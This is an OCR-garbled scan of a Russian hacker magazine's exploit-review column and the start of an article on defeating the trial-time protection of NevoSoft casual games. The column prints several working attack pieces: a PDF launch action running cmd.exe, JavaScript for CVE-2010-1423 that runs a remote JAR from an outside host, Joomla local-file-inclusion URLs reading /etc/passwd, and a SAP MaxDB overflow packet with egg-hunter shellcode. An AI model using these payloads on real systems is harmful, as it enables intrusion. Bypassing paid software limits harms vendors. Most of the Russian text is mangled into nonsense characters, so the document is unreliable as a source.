8 r epacu CTpOKe Mbl C03p,aeM 06beKT nOA HOMepOM 8 [HOMep nop~AKoBbl~1. a nar ee orkpuaaeu onVlcaHVle 06beKTa III roaopun. YTO 3TO o6beKTTVlna Action C )J,eVlcTBVleM Launch. Tyr IF onVlCblsaeT IIlMs:! 3anycKaeMoIO cVa~na, a IP - 3TO TeKCT. KOTOPblVl 6Y,lJ,eT orofipaxe-t B OKOWKe C npep,ynpe>K,lJ,eHVleM B Acrobat Reader' B. ECJlVl Mbl XOH1M nepenars napanerpu ,lJ,fl$1 sanycxaeuoro ncn OJl Hs:JeMoro cpaYlJla, TO OHVl TaK >Ke AOJl>KHbl Vl,lJ,TIIl sa CneL\VlcVillKaTopOM IP. HanpVlMep:

IF (cmd.exe)

IP IIQ/C echo t ex t o f i.Le )

KCO>KafleHVlfO, napaMeTpbl MO>KHO nepenaeats ronsko npu VlcnOflb30BaHVlVl Acrobat Reader.

nOflHOLJ,eHHblVJ PDF-¢aVJfl MO>KHO HaVJTIIl i-a ,lJ,IIlCKe.

mmmml

Foxit BblnYCTVlJlIll nar-i. KOTOPblYi ,lJ,06aBfls:JeTioKowKO C npe,lJ,ynpe>K,IJ,eHHeM 06 OTKpblTVlIll cpaVJJla. B CJlYLJae cAdobe, MO>KHO OTKflfOYVlTb as.nonueuve He POF-¢aCinOB B HaCTpoCiKa, B pasnene Tr.ust Manager. B o61l1eM.I\PY3b". 6Y,lJ,bTe BHV1MaTeJlbHbl.

XAKEP 06 /137/10

02

HEAOCTATO~HMI npOBEPKA nAPAMETPOB B JAVA DEPLOYMENT TOOLKIT

CVE-2010-1423

Java SE 6 HaYWHa" C update 101\0 update 20

Ew,e O,lJ,Ha JlOfIl1LJeCKas:J Ys:J3BVlMOCTb. B 3TOT pas HeAOrJl$1p,eJlVl TOBaPIllW,iIl a a Sun Oracle. B peaynsra re Mbl iIlMeeM YSi38i1lMOCTb, KOTOpa$1 noaaor.s er C no MO W,bfO cne LJ,lI1an bHO ccpo p M Vl po aa H HO C1 HTM L -c rpaHiIlLJ,bl ynane+u-o BblnonHSiTb npOill3BOflbHbie JAR-¢a~nbl 111 p,a>Ke nO,lJ,Kflf04aTbflfo6ble 6(;16flvtOTeKIll DLL. CDaKTVlLJeCKVl - BblnOnHeH(;1e npOlll3BOflbHoro KOAa, Oco6as:! onaCHOCTb 3TOili YSi3BIIlMOCTill kpc erca

B He3aBIIlCillMOCTill OT 6pay3epa. Vl ee 3KcnnyaTaLJ,II1Si B03MO>KHa aaxe B Linux lnoxa 4TO TOflbKO no c nyxai«}. BOT OHII1 - npene cru t p occr narcpopMeHHOCTIll. YS13BV1MOCTb CO,lJ,ep>KIIlTCS1 B Java Deployment Toolkit, KOTopaSi IIlCnOJlb3yeTcSi ,lJ,JlSi pa3BepTblBaHVls:J Java npVlnO>KeHVlYlyepe3 Web.

Earxa-rrep. HaWeI\WW" y~3BwMOCTb - T3Bw[ 0pMaHI\W [Tavis Ormandyiony6flVl koaan Vl 3KCnflOVlT. ,lJ,aHHbIVJ 3KcnfloVJT OTKpblBaeT JAR-¢aVln. KOTOPbl(;1

~ 045

EXPLOITS

REVIEW

EXPLOITS REVIEW

EXPLOITS /---iL.--4 REVIEW

-_------

m Dump -Iibhttpd:.text libhttpd ... ~rgJ~

ROP so sceil Kpace.

o rxpuaaer KaJlbKymnop. CnJlO~T3aTo4eH AIls:! \I1CnOJlb30SaHl:1>=1B bpayaepax Fire Fox.l-1 Internet Explorer_ .omt flV1Cbl KD,Ll, TaKOw

/ *ht t p : / flock. cmpxchg8b. com/calc _ jar ~ 3J10M JA.R* I

var u = "http: -J-jar -J\ \ \ \lock.cmpxchg8b. com\ \calc. jar none" i I *MIME TI1IT «oae-r 6bJTb pa3HbIM I TaK 1.!TO C03)la,1JJ1M .rraa 06'bcs-re ' I

var 0 ;::; document. createElement ("OBJECT" ) i var n = document.createElement("OBJECT");

o. t.ype > "application/npruntime-scriptableplugin;deploymenttoolkit";

n. type = "application/java-deployment-toolkit" j document.body.appendChildfo)i document.body.appendChild(n) ;

! "Ilpofiyere aerryc'rsrr-s o6beKT cnauana .anT! c'rapor-o c-ane I ecna He asnnno - TO ,1J;JIS:! aoaor-o= /

try (

/ / Old type

o . launch (u ) i catch Ie) {

/1 New type n . launch (u I i

l*http://lock.cmpxchg8b com/calc.jar- 3JIOJ;J JAR*/

var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none" i

/*Co3,ttaeM 06'heKT I YICnOflb3YH ero xrreccoeaa 1D* / var 0 = document. createElernent ("OBJECT" ) i o.classid = "c Ls i d CAFEEFAC-DEC7-0000-0000- ABCDEFFEDCBA" ;

~ 046

v

/*Ha'1VIHaeM aTaKY .*1 o . launch (u ) i

KaK BVI,lJ,HO. BeCb cexper B cpopMaTe napaue rpa ,lJ,n)=! MeTO,lJ,a launch. COaKTlt14eCKVI 3TOT MeTO,lJ, 3anYCKaeT Javaws.exe C YKa3aHHblMVI napaMeTpaMVI [lapauerp J-jar rosopar, YTO 6Y,lJ,eM sanyckars JAR. BOT VI BeCb cekper. He3aBVlcVlMo OT T3BVlca 3TY>Ke Yl13BVlMOCTb 06HapY>KVln Py6eH CaHTaMapT2 (Ruben Santamartal KpoMe roro, Py6eH npeAno~("n cnocof 3arpY3K" DLL, a He JAR. ,D,n51 sroro npennaraercs Vlcnonb30BaTb He J-jar napauero, a J-XXaltjvm. 3TOT napar-e rp rOBOplt1T javaws.exe. 4TO Mbl He 6Y,lJ,eM ncnom.aoBaTb CTaH,lJ,apTHYKJ BVipTyanbHyKJ MaWVlHY, VI 4TO Y Hac ecrs CBOI1 BVlpryaflbHa51 MaWVlHa, ropasr,o ny-uue BTOpOVt sapna-rr 3KcnnyaTaLJ,V1V1 B351T np51MO Vl3 KO,lJ,a. HanVlcaHHoro SUN:

if (browser == 'MSIE'

document. write ( '<' +

'object classid="clsid:8AD9C840-044E-11Dl-B3E9- OOSOSF499D93" , + 'width="O" height="O">' +'<' +

'PARAM name=" Launc h j n Lp" value='" +

jnlp + '''' +

'>' + '<' + 'PARAMname="docbase" value='" jnlpDocbase + ,'" + '>' + '.c ' + '/' + 'object' + '>' I;

else if (browser == 'Netscape Family')

document. write (' <' +

'embed type=" application/x-java-applet i jpi-

version=' + deployJava.firefoxJavaVersion + 'wi dt h= " 0 " height="O" , + 'launchjnlp='" + jnlp + ''''

XAKEP 06 /137/10

I"· .....

A TYTYlKe egg-hunter He HaiiAeH. 'lTO aa Aena?

'docbase= n I + j nlpDocbase + '" r , />');

BHe,Ll,ps:tTb KOMaHAbl aHanon14HbiM 06pa30M MO>KHO c nOMOUJ,blO nepeMeHHblX docbase u launchjnlp.

T3BV1C coofiuiun 06 YSBBVlMOCTIll KOMnaHl.1V1 Oracle, HO TaM [Ka3aJ1V1, 4TO Gar He Kp\l1T\I14€H, \11 narc MO>KeT nO)J,O>KA3Tb e)l(eKSapT3J1bHOrO 06HOBJ1eH\I1~. Op,HaKO, xorna 3TyYs:l3BIt1MOCTb Ha4anVl VlCn0J1b30SaTb 3J10YMblwneHHVlKVI, np\l14eM, no cnoaav T3BlIIca, ew,e AD roro. KaK OH onytinnkoaan t.1HcpopMau,VlIO, Oracle Vl3MeHlI1m" caoe MHeHlIle \11 BblnYCTV1J1lt1 nar-r. KOTOPbli:1 npocro ybupaer KyCOK KO,Ll,a, 3anYCKalOUJ,lIIrl Javaws,exe.

03

JlOKAJlbHbll1li1HKJlYA <1>Al1JlOB B KOMnOHEHTAXJOOMLA

• cOffi_news_portal version 1.5. x com jswi.k.i

corn_sebercart version 1.0.0.12 com_powermail version 1.5.3 com_jukebox version 1.7 cOffi_datafeeds version 880

Y$l3Bill MOCTl-1 B Web-CKplllmax - RBneHl-1e H3CTonbKO -racroe III 05bl)J,eHHoe, LJTO y)J,I!IBIIITb KorO-TO OLJepep,HbiM 6arOM B rinaruuax p,n$l Joomla Bp$l)J,JlI!I y.n.aCTC$l. Ho B nocnenuee BpeMs:I Ha caureexploit-db.com B paaaene Web- 3KcnnO~1ToB rons co I!I npncyrcrayior 3anlll(l;1 npo nnaraaa K 3TOMY nonynspHOMyp,BI!I>KKy. KTo-TO cepseano 83RnCR aa Joomla. 3TI!I KTO-TO - B OCHOBHOM pefisra 1113 AntiSecurity, DevilZ TM I!I «LJaCTHble» nuua runa valentina.

3a p,eHb TOnbKO AntiSecurity npl!ICblnan!.1 or rpex p,o p,eCs:iH1 3KcnnO~1TOB

p,ns:! pasaux nnarusoa. 3TaKlIIlII pacnpep,eneHHblVi aYAI!IT5e30naCHOCTlII nnarvn-os Ans:! Jocrnta. B pesynsrare Mbll1MeeM 6a3YYI=l3Bt.1MbIX nnaruuoa, LJTO KpalllHe YAo5Ho. Kpo-ie Taro, ryrns CKpt.1nT KI!IAAI1Cbl TaK>Ke nOflYLJaT Mope yp,OBOJlbCTBt.11=1 [xoropoe HaMill, eCTeCTBeHHO, He 0P,06pl=leTC$lJ. TaK IIInlll VlHa4e, Konlll4eCTBO caViTos C Ys:i3BIIIMbIMIII nnan·1HaMlt1 Ha Joomla nepeeanasaer aa TbICR41!1. ECfll!l KTO Hanl!lWeT 4epBR4Ka, aapaxa ouiero Joomla p,SIII>KKf1, 6yp,eT Henpl!Is:lTHO . .nIllLJHO MOW OSSIM Y>Ke Hap,oen cnaMOM OT CKaHOB Ha CTapble Ablpbl B PhpMyAdmin" RoundCube Webmail

no nOHSHHblM nplt14l!1HaM, see Yl=l3BI!1MOCTI!11=1 ryr onacstaars He 5yp,y, TaK KaK OHI!1 Op,HOTlt1nHbl. KocHeMcS1 nlllWb LFI-y513Blt1MOCTI!1, KOTopaS1 npil1BOp,1!1T K YTe-

XAKEP 06 /137/ 10

l:J\rLUII,J

REVIEW

EXPLOITS REVIEW

HII1IO nOKanbHblX ¢awfloB III Bb1nOflHeH1I11O npcnsaonu-cro «ona. )1 Bblp,enV1Jl weCTb nnan1HOB CTaKV1M 6aroM. Hexoropue 1!13 HI!IX p,OCTaTOYHO nonynapuu, a YS13BI!IMble caiiiTbl ner-co l!I)J,eHTlJI¢I!ILJ,I!1PYIOTC51 C nOMOUJ,blO Google.

http://[SITE]/index.php?option=COID_sebercart&view= .. / . . / .. / .. / .. / .. / .. / .. / .. / .. /etc/passwd%OO http://[SITE]/index.php?option=com_poVJermail&controlle F .. / .. / .. / .. / .. / .. / .. / .. / .. / .. /ete/passwd%OO

http:// [SI'I'E] lindex .php?option=coID_news_portal&contro ller= .. / .. / .. / .. / .. / .. / .. / .. / .. / .. /etc/passwd%OO http://[SITEj/index php?option=coffi_awiki&controller

./ .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. / .. /ete/ passwd%OO

http://[SITE]/index php?option=coffi_jukebox&controller= .. / .. / .. / .. / .. / .. / .. / .. / .. / .. /ete/passwd%OO http://[SITE]/index php?option=coffi_datafeeds&controlle

./ .. / .. / .. / .. / .. / .. / .. / .. / .. /ete/passwd%OO

KaK BVlp,HO 1113 3TOiii nO,[l60pKVI, y$l3BVlMOCTb «poercs B nepeMeHHoiii controller. A see nOToMY, 4TO pa3pa6oT4l11K He y-ren Taro, KaK ¢I!IJlbTpyeTC$l nepeMeHH81=1 np» nonY4eH"" ee -repes JRequest::getVarlJ. Y"38"Mbl," KOA:

/ I Require specific controller if requested

if ($controller = JRequest: : getVar ( 'controller' ) ) require_once (JPATH_COMPONENT DS. 'controllers'.

DS.$controller.' .php');

OWI!I6Ka B require_once, xoropas nOAKfl104aeT He06pa6oTaHHYKl nepeMeHHYIO $controller. HanOM"HalO pa3pa60T4"KaM - ¢YHKW""

J Request::getVarll ¢"nbTpyeTTonbKo HTM L-"HbeKWWIO

EcnVl pa3pa6oT41!1K nnarV1Ha He YLl,ocY>Kl!lnC)=I BblnYCTI!1Tb 06HOBJleHV1e, TO nV160 MeH51~ nnarlllH, flV160 Spy4HylO Ao6aBb ¢II1JlbTpaLJ,II1Kl 01MBonOB V13 Ha60pa "J"

O 4 nEPEnOJlHEHIiIE 6Y<1>EPA B STR_ TRANSLITERATE()

PHP 6.0 Dev

nepenOnHeH"e 6y¢epa 6blno 06HapY>KeHO B OI\HO," "3 ¢YHKW"," PH P 6.0. [lpn nepena-.e CTpOKI!16onbWO~ )J,nl!lHbl Mbl nepe3anVlCblBaeM p,aHHble B CTeKe, BKnf04as:i anpec B03BpaTa. 04eHb MlI1no. 3KcnnoiiiT 6blfl ony6JlI!IKOBaH rpa>KAaHI!IHOM nor; nceBgoHltIMOM PrOT3c T1 On. PeanbHOCTb ara Kill , KOHe4HO, OyeHb Mana, TaK KaK HaM Hap,o, 4T06bl xeprsa no KaKII1M-TO He06b$lCHVlMbiM npltl4l-1HaM l-1CnOflb30B8fla Bep0110 PHP 6.0 Dev. KpOMe Taro, B PHP-KOAe CKpl!lnTOB ,lJ,On>KHa VlcnOflb30BaTbCs:! Y513BII1MaH ¢YHKLJ,I!IH str _transliterate!],

8 KOTOpylO nepenaercs napauerp aa GET/POST -aanpoca. A euie 8 php.

ini p,01l>KHa 6blTb HaCTpoiiiKa, n03B0f151IOw,a5i pafiorars c unicode crpoxa-ra. Kopo-re, B peaJlbHOVI >KVl3HVI peaJ1V13aLl,II1I=1 raxoro 3KCnf10~Ta ManOBep05iTHa. T eM He MeHee, -repes Hep,enlO BbIXOp,VlT npyras sepCI!IS13KCnJloiha, KOTOpaTi 06XOAII1T DEP VI ASLR. 3TO, C YI!ICTO aKap,eMltI4eCKOiiiTOYKII13peHII1H, Y>Ke H8MHoro VlHTepeCHee. BOT 3TOT sxcnnotrr. pa3pa60TaHHbl~ MaTH10 MeMeflJlVl [Matteo Memellil Mbl" paCCMOTp"M.

3KcnnoiiiT nnencraanaer c060iil 06bl4HblW PH P-¢aiiin, B KOTOPOM Y>Ke 3a6111T wenn-KOp" ap,peca B03BpaTa I!I r.n, Ha BXOp, ckpvrrr npVlHI!IMaeT 4

~ 047

I

EXPLOITS REVIEW

Ha~AeM Welll1-KOAJ nO,Q,npaB"M anpec B03SpaTa.

ERX=5730:::(354 ES:[EOIJ=[7C90F00EJ=51390C52

paapsuia aupeca [HvDKe n05iCHIO, KaKOW CPYHKLI,\llll\J. B KOHu,e cpaWIla - 6noK B 8l.1p,e base64_ nplll paCKO,D,V1pOSaHvH1 3TOT 6noK npencraanaer c060(;1 ornoru.uu Vi CKpl:1nT Ha nV1TOHe, «o ropue ¢OpMl!1pyeT GET -aanpccu AIls:! PHP-eKp"nTa. 3KcnnoC1T gomKeH 06XOg"Tb DEP ~ ASLR TYT Ha nOMOLl1b npV1XOp,s:lTpa3pa6oTYVlKV1 ccdrra OKa3blSaeTCs:I, He Bee 6V16Illl10TeKlI1 CI(OMn!t1JlVlpOBaHbl c nop,IJ,eP>KKOill ASLR. a 3TO 3Hal.fv1T, YTO, Aa>Ke eCJlVl DC nOAAep>Kl!1BaeT 3TY TeXHOJlOrll1lO, 6a30Bblill ap,pec 6\11 6Jl l!1 OTe Kill ace paSHO 6yp,eT CTaTV1Y Hbl M. 3TV1M-TO V1 BOCnOJl b30BaJlCs:! aBTOp 3KcnnOVlTa, ycnew HO npI!IMeHl!1B TeXHV1KY B03BpaTHO-Op(;1eHTVlpOBaHHoro nporpaMMV1posaH 1I151 [ROP). 8 npouinov obaope >=I Y>Ke kparko pacckaauaan npo 3TYTexHV1KY Cyn. ee CBO,o,IIlTCI1 K TOMY, YTO Mbl nepe3am1cblBaeM B CTeKe anpec B03- apara Ha HY>KHble HaM V1HCTPYKLJ,v1l1l, nocne KOTOPblX V1,o,eT\IIHCTpYKLI,IIlI1 RET. npoLJ,eccop ucn OIl H lilT 3TV1 KOMaH,1],bl, ,o,Otll,Ll,eT,1],O RET V1 B03bMeT \113 CTeKa

I KOHTponwpyeMoro Ha MMi enegYIOLl1MC1 anpec, no KOTOPOMY oriars 6ygYT V1cnOIlHeHbl Heo6xo,o,V1Mble IIlHCTPYKL.\V1V1, a nocne - onar s RET. TaK!IIM o6pa30M, 3KCnIlOtliT BbIY\IICIls:JeT abcon-oruu til anpec ure nn- KOAa.

TaKV1M o6pa30M Mbl 060WIlV1 ASLR V1 DEP, HOTaK III He nepeAaIlV1 ynpaaneuv e weIlIl-KOAY, a TOIlbKO Bbl4\11CIl \1111 III em 3Apec. g11S1 store HaM OCTaIlOCb Bb!- 38aTb CPYHKlJ,V1fO KonlllpOSaHlI1s:J weIlIl-KOA3 B \IIcnOIlHs:JeMYfO 06n3CTb naMs:JTIIl nOCJleAHV1t1! n\llCK MOAbl- V1cnOIlb30BaTb CPYHKll,V110 Write Process Memory, KOTopaS1 MO>KeT KOnVipoBaTb weIlIl-KOA, HanpV1Mep, npsvo B .text ceKll,VlfO nOTOKa. To ecn-, B lt1CnOnH71eMYKJ naMs:JTb. Co6cTBeHHo anpec WeJlIl-KOAa 3KCnJlOVIT BblYlI1CIllllIl C nOMOlJJ,bKJ ROP, snpec \IIcnonHs:JeMoro nOTOKa TO.>Ke V13BeCTeH [.text CeKLJ,V1s:J 6w6Jlll10TeKlI1 6e3 nonaepxxn ASLRl. MO>KHO Bbl3blBaTb WriteProcessMerT)ory.

Ho He TYT-TO 6blno. geno 8 TOM, YTO CPYHKlJ,Vls:J 3Ta ne>KVlT B 6V16JlVlOTeKe kernel32dll, a aHa-TO KaK pas TOY~O nonnepxnaaer ASLR. TaKMM 06pa30M, Mbl He 3H3eM anpeca HY.>KHOVI HaM CPYHKll,VlIII. TYT HaM vi noH3,lJ,06VlTCs:J cxpnrrr Ha nVlTOHe. Ilene B TOM, 4TO 3KCnIlOtllT, KaK s:I nucan auu.e, npMH"MaeT napauerpu: pa3p"gbl anpeca, anpeca ¢YHKW"" WriteProeessMemory. Ecru- 3TOT anpec HeBepeH, TO Apache npccro ynaner. Ho eCTb O)J,HO «HO» - yr aue r flVlWb c03AaHHbltll npou,ecc ana-ra, BeAb Vl3BeCTHO, 4TO ana-i C03,QaeT npoueccu Ha 06pa6oTKY

COe,lJ,VlHeHVltll, \II nonb30BaTenb pafiorae r He C pOAVlTeflbcKVlM [OCHOBHbIM) npou,eCCOM, a C ,lJ,04epHVlM. B \IITOre, eCflV1 OH ynane r. TO HVl4ero crpauiuor o OCHOBHOtli npou,ecc noponur HaM ew,e CKonbKO Ha,D,O ,D,04epHVlX, POHs:JtIi - He XOYy. TaK KaK ASLR MeHs:JeTTonbKO ABa 6atliTa crapuu-x pasp\1p,OB ap,peca, TO MO>KHD 6aH3IlbHO nepebpars VlX, noxa He HaTKHeMCs:! Ha anpec V1CKOMO~ CPYH KLJ,Vl VI 11 He nonYYV1M WenJl-KO,lJ,. 3TO, KOHe4HO, nonro, HO paooraer. Mnap,wVle nsa 6atllTa CTaTlt1YHbl Vl3aBViCs:JT .JlViWb OT BepcVi\ll OC. Har puue p. Ha MOetli Windows XP 3KcnnotliT He aapeboran. npnu.nocs MeKaTb anpec ¢YHK~"M. TaK KaK XP He noggep"'"BaeT ASLR aoofiuie. TO MO>KHO 3anYCTVlTb skcnnojir \II 6e3 6pYTcpopca:

http,//[SITE]/pwnPhp6.php?off_s=34&pos_ s=124&rnd=O&off_e=lS&pos_e=128

B napauerpax 6a"Tbl pa3p"AOB agpeea ¢YHK~"" WriteProeessMemory CaM 3KCnIlOtllH1w,V1 Ha DVD

3aw,lIITIIITbGl OTTaKO~ npo6neMbi ncrxo

He lIIcnOIlb30BaTb yS13BVlMyKJ CPYHKU,V1IO;

2. He "enOnb30BaTb PHP 6.0 Dev;

3. npoaeps:JTb ,[IflV1Hy 880,D,VlMb1X naaai-rerpoa,

4. He VlcnOIlb30BaTb Unicode

05

nEPEnonHEH~E5Y$EPAnp~~H~~~An~3A~~~ CECC~~ B SAP MAXDB

eVE-201 0-1185

SAP MaxDB 7.7.06.09

XAKEP 06 /137/ 10

I "L "Ln

tArLUl1 ~ ,-----1 REVIEW

EXPLOITS REVIEW

II

YAaneHHoe nepenOnHeH"e 6ycpepa B 5):1 SAP MaxDB "HTepeCHo

r e u, -rr o An}:! 3KcnnyaTau,VtV1 He Hy>KHO ayreHTV1cpV1LJ,V1pOSaTbC}:l B 6,lJ"

V1 TO, "'ITO VI Horp,a 5Ap,a>Ke rAe-TO Bcrpe4aercS1 B )I(!I13HV1. Y5i3BViMOCTb Hawen A6AynA3"3 Xapvip (AbdulAzlz Harir l aa Insight Technologies. nocne -re r o ycn e uiao npcnan TippingPoint Zero Day Initiative. EcreCTseHHO, 3KCnJlO~TaMlI1 pefia r a He gemHCfl. Ho 6blBwVle CO f03H 111 K\I1 no BOCTOLIHOMY 5noKY, seHrepCKa$1 KOMaHAa S2 Crew, ony6nll1Kosana 6oe8o~ 3KcnnoVlr, peaJlV13YIOW,l-1V1 3TY Yl=l3BI-1MOCTb cosepweHHo 6ecnn3THo. Peayn sr ar paticru - uie nn H3 4444 nopry c npasaMVl CV1creMbl.

CepBep. oTBe4alOLl1"ii3a TCP-COeA"HeH"" c 5):1, orxpseaer 721 0 nopr, Jlf05o(;1 >KenalOUJ,VlV! MO>Ker nons.rarscs aYTeHT\I1¢ll'1L\V1pOSaTbcS1 B 5,1], 4epe3 sror nop. H6 nepe,o, 3H1M Hago npoilln1 npoue.aypy «pYKonO>KaTVHi», 4T05bl cepsep «3anOMHlI1n», KTD Tbl, Vl Bblp,enl!1fl non Te6$i pecypcu. Bo speMs:! 3TOtIJ npouenypu cepsep pa sbupaer naxeru cneuuansuoro oooMaTa, 101 s nepaov xe naKeT€ OT Knll1eHT8 OH C4l11TbiSaeT nn 111 i+y nccnenyfOUJ,lI1X AaHHbIX, a 3aTeM xonnpyer 3TlI1 ,p,aHHble 1113 nexera S CTeK cornac-ro C4"TaHHOMY pa3Mepy. HOTYT np06neMB - 6ycpep 8 CTeKe He I1"HaM"4eCKill tIJ , 111 n03TOMY, ecnVl YKa3aHHas=! S nakere ,.o.nVlHa 60flbwe SblAeneHHoro B CTeKe MecTa, npOV1CXO)J,II1T KnaCCW-JeCKoe nepenonueuv e 6y¢epa. naKeT Sblrns=!AII1T T8K:

ret = "\x08\xfl\xaO\xOO" # He

XAKEP 06 /137/10

packet = (

"\x63\xOO\xOO\xOO\x03\x2f\xOO\xOO\xOl\xOO\xOO\xOO" "\xff\xff\xff\xff\xOO\xOO\x04\xOO\x63\xOO\xOO\xOO" "\xOO\x02\x4b\xOO\x04\x09\xOO\xOO\x44\x20\xOO\xOO" "\xOO\xOO\xOO\xOO\xOO\xOO\xOO\xOO\xff\xff\xff\xff" "\x6d\x61" + ret + "\xOO\xOO\xOO\xOO\xOO\xOO" "\xOO\xOO\xOO\xOO\x07\x49" + "A"*5000 + "TOOWTOOW" + sc + "\x41" * 2500 + egghunter + "\x90"*2500)

Anropurv npcc" - ne peaan acus aeu anpec B03BpaTa Ha egg-hunter uienn-xon [nepeMeHH8Si egghunterl. KOTOPbliii lI1UJ,eT B naMSiTlI1 60esotIJ uienn-xon [nepeMeHHaSi scl. nocnep,HlI1t1JlI1AeTcpa3Y nocne MeTKlII "TOOWTOOW" VlMeHHo ary MeTKY" "Ll1eT egg-hunter 8 naM"T". KaK 06bl4HO 6blBaeT, nplI1 3anYCKe motioro 3KCnnOtIJT8 Bbl)=lCHs=!eTCs=!, 4TO OH He pefiotaer.

TaK III ceu-rac - nocne 3anycKa y MeHs=! He nOflYYlI1nOCb HV1KaKoro uienna. 3aTo yMepna 5):1. 3anYCT"8 5):1" n08eC"8 Ae6arrep," Y8"Aen, n04eMY cnnotrr He cpafioran - anpec B03BpaTa Hanp8SJlSiJl B Hecyw.eCTByfOw.y~J 06naCTb naMRH1. jJ Hawen B CTeKe anpec egg-hunter urenn-xona. noveHs:!n 3awVlTbliii B 3KCnJlOtliT anpec. lI1 sce nony-runoc s - s:! YSIl1p,en 3aKOHHblVl urenn HenoHSiTHo ronsxo, 3ayeM aSTOpaM!:1 Boo6w,e II1CnOJlb3yeTC$1 egg-hunter WeJlJl-KOp" se)J,b MO>KHO 6blJlO 6bl anpec B03BpaTa cpasy noncbpar , non 6oesotIJ urcnn-xon. HY)J,a na)J,HO, rnaauoe patio ras r.

~

06H08" SAP MaxDB AO aKryanbHOii 8epC"".:lC

~ Ol.O

Ka3 anbHOe BCK blTMe

B n nesux ycnoBMHX

HCCnE.llOBAHHE 3AlUHTbi KA3YAnbHbiX Hrp

Ka3yanbHaH Hrpa - KOMnblOTepHaH Hrpa, npe,ll,Ha3Ha"leHHaH ,lI,IIH WHpOKOrO Kpyra nonb30BaTene~. CaM TepMHH «Ka3yanbHaH» npOHCXO,ll,HT OT naTHHCKoro cneaa «casualis», "ITO eaaasaer «cnY"la~HbIM». TaKHM 06pa30M, Ka3yanbHaH Hrpa - 3TO srpa. B KOTOPYIO HrpalOT OT cny"laH K cnY"lalO, Me>K,ll,y ,lI,enOM, "Iaw,e acem, "IT06bl KaK-TO y6HTb BpeMH. nO,ll,06HbIMH HrpYWKaMH HBnHIOTCH TBopeHHH KOMnaHHH HeBoCOIjlT. TonbKO BOT ,lI,alOT OHH nearpars acern "lac, a nOTOM npncar ,lI,eHer. CerO,ll,HH Mbl c 3THM pa36epeMcH!

HEMHoro TEOP~~

KBK Ory41Hb l-1X nernu,e Kns:JHI1lt1Tb HaWlt1 C SaMI-1 «posuue AeHbrlll. Pa3pa6oT4t.1Klt1 KOMnaHlt1lt1 HeBoCoqn nepxar non CS0l-1M 4YTKlt1M Ha,Q30pOM TbICS1LJlt1 V1rp. npu 3TOM naior Hapo.QY onpo6osaTb lt1X geTI-1lLJ,e B Te4eHlt1e O,[l,HOrO -raca. llocne 60 MII1HY-, <orna 4enOBeK TOflbKD BXO,QlIIT 80 sxyc. BbICaeLJV1BaeTCs:J He Q4eHb npvHHHB$1 Ta6m14Ka, KOTOpas:J npOO1T p,eHe>KeK. TaK y>K c.nO>KII1.nOCb, !..lTD pycCKl!1C1 4enoseK He m061!1T nr.erwn, aa coer,

HO pa3pa6oT4lt1Kt.1 urp lt1HOrp,a npocro He OCTBsmHOT HaM subopa. Ans:! onpe.QeneHHO~ It1rpbl Hy>KHO HaiilTlI1 CBOIll Kp$1K, HB nOlt1CKt.1 KOTOPOro II1HOf,o,a yxcnsr nparcueaaue Mlt1Hyrbl lt1 YBCbl, a eCJllt1 t.1rpa HOBaR, TO eeposruocrs Hailin1 ero CSO,lJ,II1TCs:! K HynlO.

Bcofiu,e. Ka3yanbHbie iI1rpbl no CBoeMY ypOBHIO CnO>KHOCTIII rOAs:!TCs:! noakTlIIyeCKW ,lJ,nl=l nlO6oili «areropna nonb30BaTene~ KOMnblOTepa. 3ayacrylO SpeMs:I Ha npOXO>K,lJ,eHV1e TaKIIIX V1rp HesenV1Ko, a nOTOMY OHV1 xopowo nonXOp,RT p,nS1 rex, KTO He MO>KeT Y,lJ,ensHb IIIrpe MHoro BpeMeHI>1. KOMnaHV1s:l HeBoCoqn "Bn"eTC" OAH"M H3 BeAYll1HX pa3pa6oTY"KOB Ka3yanbHbiX HCP B MlIIpe /1>1, s '-IaCTHOCH1, Ha PYCCKOM s:!3bIKe). Kasar ocs 6bl, rakas cepbe3- HaS1 KOMnaHV151 ,lJ,On>KHa Y,lJ,e.ns:lTb nOBblweHHoe BHlI1MaHV1e aau.ure csoero nporpavauoro 06eCneyeHlI1s:l, p,.ns:l ee B3.nOMa p,On>KHO nOHa,.o,o6l>1TbCs:I MHOro CII1.n 111 SpeMeHlI1. CerO,1J,Hs:I Mbl onposepruev 3TOT ¢aKT 111 nOKa>KeM,

~ 050

XAKEP 06/137/10

I [-c-] v I LHeT J 1.395944 K6 1'13 20 482 840 K6 c606ollHO c:\}1rpbl OT NevoSoftlpeacecraft\game\x. x

TI·m

nOA03pIHenbHoe CXOACTBO !flaHnoB HaTanKI1BaeT aa Mblcnb 0 TOM, 'ITO I1rpa nOnY'IaeTCH nYTeM KaKI1XnM60 MaHMnynHLlMH C !flaHnoM nsgame.dat

nO,llroTOBKA OnEPAu~oHHOro CTOnA

B KalJeCTSe nononuruoro Am:t uauiero V1ccnep,OBaHL1)'i, «oroporo Mbl

6y.aeM oTyyaTb OT «BpeAHo~ npV1BbIYKVf», $1 Bbl6pan Vlrpy «Flcnuapcraa aa npVlHu,eccy». Mo~ aufiop nan Hd Hee, nOToMY 4TO VlMeHHO OHa \11 HaTOIlKHYna MeH$1 Ha MblCflb 06 lt1ccnep,OSaH!IIlII 3all\\!1Tbl II1rp OT Heeof.odrra. n03>Ke Bbl)'lCHl!1JlOCb, YTO nplllHLJ,lI1n 3aw,\!1Tbl y APyrl!1X l!1rp aroro np0l!13BO,lJ,I.1TeJl$1 a6COJlfOTHO t.1p,eHTlIIlJeH.

TaK CJlO>KVlJlOCb, YTO Ha MOMeHT v13YlJeHlI1R non MoeV! PYKOVI He 6blflO HVl O.D,HOV! nporpaMMbl p,JlS1 B3JlOMa: HIt1 ,lJ,l!13aCCeM6nepa, Hili OTna,o,4V1Ka; 6blfl TOJlbKO Ha60p nporpaMM, CT05H .. UVlX ua MaWlt1He npaKHlyeCKIil Y Ka>K,lJ,oro noneaoearerm. B 3TOT Ha60p aourru- Total Commander lt1 «Ilucnervep 3ap,ay» - lt1MeHHO 3TI!1Mlt1 nporpaMMaMIll Mbl III 6yp,eM nonb30saTbCS1 B MOMeHT il13yyeHlt1S1 I!1rpbl. Kasanocs 6bl, YTO MO>KHO cnenars nplll nOMow,1!1 3n1X npV1nO>KeHV1ii1? Oxasanocs. YTO ripa HanVlYVIVI nurnaeoro YMa 1.1 KanenbKI!1 BHI!1MaTenbHOCTlt1 sroro snonue ,ll,OCTaTOYHO, YTo5bl 3aCTaBIIlTb vrpy paboran, 5e3 OrpaHlllyeHIIlR no speMeHIll. B xa-recrse 